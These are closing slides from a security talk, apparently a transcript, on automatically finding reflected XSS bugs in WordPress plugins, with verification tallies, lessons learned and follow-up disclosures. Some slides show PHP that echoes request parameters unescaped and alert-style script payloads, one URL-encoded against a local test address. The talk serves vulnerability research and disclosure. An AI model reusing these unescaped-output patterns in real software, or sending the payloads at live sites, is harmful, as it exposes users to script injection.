  • 26. Total Verified with honoring headers • 27 Auto XSS’d • 3 manually validated that needed some tweaking to the payload • False positives too, stuff like: $_GET['ID'] = (int) $_GET['ID']; echo $_GET[‘ID’];
  • 28. What I learned • Test your stuff end to end! • Full server stack for any testing • Research any odd results that aren’t making sense • The Wordpress escaping GPCS super globals made any XSS in plugin files loading WP context dependent • Escapes ’ “ /
  • 29. Context Dependent XSS <?php include ‘wp-load.php’; . . echo “Search Results For:”; echo $_GET[‘s’]; We can still use • s=<script>alert(1);</script>
  • 30. Context Dependent XSS Code: <?php include ‘wp-load.php’; . <a id="wysija-upload-browse;" href2="admin.php?page=campaign&action=medias&emailId=<?php echo $_GET['id']>">Browse</a> ?> Payload: http://192.168.0.33/test.php?id=%22%3Cscript%3Ealert(1);%3C/script%3E%22 Result: <a id="upload-browse" class="button” href2="admin.php?page=campaigns&action=medias&tab=&emailId="<script>alert(1);</script>"">Upload </a>" • Wordpress escapes our quotation marks
  • 31. Vetting XSS • I’d need to manually review all 1322 entries • Not enough time • dreaming about XSS == stop
  • 32. What’s Next • I’m kind of done with WP Plugin XSS • Some XSS entries might be valid, need testing • Maybe try looking at fopen(), SQL, unserialize(), passthru(), eval()? • Other CMSs? • Joomla does not escape super globals… • Drupal extensions https://ftp.drupal.org/files/projects/
  • 33. Researcher Picks Up the Ball • @BruteLogic uses my technique to find vulnerabilities in open source PHP applications • http://brutelogic.com.br/blog/looking-xss-php-source/ • Wrote a script in bash checking for various XSS • Downloaded lots of open source PHP code
  • 34. Vulnerabilities in my Database Showing up • Posted to full disclosure on July 19th by Summer of Pwnage @sumofpwn • Vulnerability ID 419 in my database • https://sumofpwn.nl/advisory/2016/cross_site_scripting_in_contact_form_to_e mail_wordpress_plugin.html
  • 35. Thank You • Everyone here for listening to me ramble • Brian Martin • Scott Moore • Ryan Duhurst • Mika @ wordpress.org • Solar Designer
  • 36. I’m sorry • Everyone here for listening to me ramble • Brian Martin • Scott Moore • Ryan Duhurst • Mika @ wordpress.org • Solar Designer
  • 37. Questions? • larry0@me.com or larry@akamai.com • @_larry0 • http://www.vapidlabs.com • Greetings to @vladz,@indoushka,@squirrelbudda, @dotmudge,@brutelogic,@sumofpwn,@gattaca, @d1rt_diggler,@E1337za and Akamai SIRT

Editor's Notes

  1. Single / double quotes get escaped
  2. Someone could be doing something you’re not expecting These would all need manual auditing $_GET; $_POST; REQUEST; COOKIE; SERVER; https://core.trac.wordpress.org/ticket/18322